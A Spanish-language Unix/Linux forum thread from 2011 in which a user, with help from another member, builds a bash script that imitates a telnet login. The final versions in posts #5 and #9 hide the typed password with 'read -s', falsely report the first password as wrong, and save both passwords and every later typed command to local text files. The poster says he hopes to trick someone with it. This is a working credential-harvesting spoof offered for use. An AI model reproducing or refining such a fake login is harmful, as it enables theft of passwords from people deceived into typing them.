Foros del Web » Administración de Sistemas » Unix / Linux »

Ocultar caracteres en la introducción de "read" en script

Estas en el tema de Ocultar caracteres en la introducción de "read" en script en el foro de Unix / Linux en Foros del Web. El script en cuestión es este: Código: #!/bin/bash echo telnet 192.168.30.1 echo Trying 192.168.30.1... echo Connected to 192.168.30.1. echo Escape character is '^]'. echo echo ...
  #1 (permalink)  
Antiguo 17/05/2011, 10:23
 
Fecha de Ingreso: abril-2011
Mensajes: 41
Antigüedad: 13 años
Puntos: 2
Pregunta Ocultar caracteres en la introducción de "read" en script

El script en cuestión es este:

Código:
#!/bin/bash
echo telnet 192.168.30.1
echo Trying 192.168.30.1...
echo Connected to 192.168.30.1.
echo Escape character is '^]'.
echo
echo Password: 
read passwordpass
echo
echo Login correct! 
while  :
do
echo introduce command:
read command
echo Invalid command: $command
done
La cosa es que cuando lee la contraseña muestra los caracteres, y yo quiero que salgan ocultos o que no salgan. como se hace?
  #2 (permalink)  
Antiguo 26/05/2011, 09:05
 
Fecha de Ingreso: mayo-2011
Mensajes: 17
Antigüedad: 12 años, 11 meses
Puntos: 4
Respuesta: Ocultar caracteres en la introducción de "read" en script

Utiliza la ayuda de Linux. Escribe en la terminal 'help read' y te saldran las opciones.

Me parece que la opción para que el input no se muestre por pantalla es -s.

read -s.
  #3 (permalink)  
Antiguo 26/05/2011, 09:36
 
Fecha de Ingreso: abril-2011
Mensajes: 41
Antigüedad: 13 años
Puntos: 2
Respuesta: Ocultar caracteres en la introducción de "read" en script

Cita:
Iniciado por telkrom Ver Mensaje
Utiliza la ayuda de Linux. Escribe en la terminal 'help read' y te saldran las opciones.

Me parece que la opción para que el input no se muestre por pantalla es -s.

read -s.
Funcionó! Muchas gracias!

La verdad es que ya no tenia esperanza de que respondiera nadie...
  #4 (permalink)  
Antiguo 26/05/2011, 09:40
 
Fecha de Ingreso: mayo-2011
Mensajes: 17
Antigüedad: 12 años, 11 meses
Puntos: 4
Respuesta: Ocultar caracteres en la introducción de "read" en script

Me alegro!

Si, a veces parece que nadie puede ayudarte...
  #5 (permalink)  
Antiguo 26/05/2011, 09:44
 
Fecha de Ingreso: abril-2011
Mensajes: 41
Antigüedad: 13 años
Puntos: 2
Respuesta: Ocultar caracteres en la introducción de "read" en script

Código:
#!/bin/bash
#telnet falso
clear
echo $USERNAME\~\$
read telnet
echo "$telnet>"
#echo "open:"
read open ip
echo "$telnet" $ip
echo "Trying" $ip...
echo "Connected" "to" $ip.
echo "Escape character is '^]'."
#contraseña
echo
echo "Password" \for $ip: 
read  -s passwordpass
echo $passwordpass >> /home/smx/contraseña.txt
echo
echo "Incorrect password"
echo
echo "Password:" 
read -s passwordpass
echo $passwordpass >> /home/smx/contraseña.txt
echo
echo "Login correct!" 
echo
#comando
while  :
do
echo "introduce command:"
read hola
echo
echo $hola >> /home/smx/comandos.txt
echo "Invalid command:" $hola
echo
done
Me hace gracia publicar el script final jeje, haber si se la cuelo a alguien!

Por cierto, como puedo hacer para hacer un echo y un read para introducir texto, salga justo después del echo y no una linea mas abajo?
  #6 (permalink)  
Antiguo 26/05/2011, 09:48
 
Fecha de Ingreso: mayo-2011
Mensajes: 17
Antigüedad: 12 años, 11 meses
Puntos: 4
Respuesta: Ocultar caracteres en la introducción de "read" en script

Creo recordar que con echo -n el texto que quieras sacar por pantalla y en linea siguiente un read variable.

No estoy seguro si es así, pero echo -n parece que si.
  #7 (permalink)  
Antiguo 26/05/2011, 09:52
 
Fecha de Ingreso: abril-2011
Mensajes: 41
Antigüedad: 13 años
Puntos: 2
Respuesta: Ocultar caracteres en la introducción de "read" en script

Pues si, es así, y por último, como hago un salto de línea?
  #8 (permalink)  
Antiguo 26/05/2011, 09:54
 
Fecha de Ingreso: mayo-2011
Mensajes: 17
Antigüedad: 12 años, 11 meses
Puntos: 4
Respuesta: Ocultar caracteres en la introducción de "read" en script

Con \n.

Ejemplo: echo "Buenas tardes\n".

Creo que si pones \n\n hace 2 saltos de linea.
  #9 (permalink)  
Antiguo 26/05/2011, 09:59
 
Fecha de Ingreso: abril-2011
Mensajes: 41
Antigüedad: 13 años
Puntos: 2
Respuesta: Ocultar caracteres en la introducción de "read" en script

Al final lo he echo con mas echos ;)

Aquí esta el código ;)
Código:
#!/bin/bash
#telnet falso
clear
telnet=telnet
ip=192.168.1.1
echo -n $USERNAME\~\$
read telnet
echo -n "$telnet>"
#echo "open:"
read open ip
echo -n "$telnet" $ip
echo "Trying" $ip...
echo "Connected to" $ip.
echo "Escape character is '^]'."
#contraseña
echo
echo -n "Password" \for $ip: 
read -s passwordpass
echo $passwordpass >> /home/smx/contraseña.txt
echo
echo
echo "Incorrect password"
echo
echo -n "Password:" 
read -s passwordpass
echo $passwordpass >> /home/smx/contraseña.txt
echo
echo
echo "Login correct!" 
echo
#comando
while  :
do
echo -n "introduce command:"
read comandos
echo
echo $comandos >> /home/smx/comandos.txt
echo "Invalid command:" $comandos
echo
done

Etiquetas: bash, linux, pass, read, sistemas-unix
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 14:14.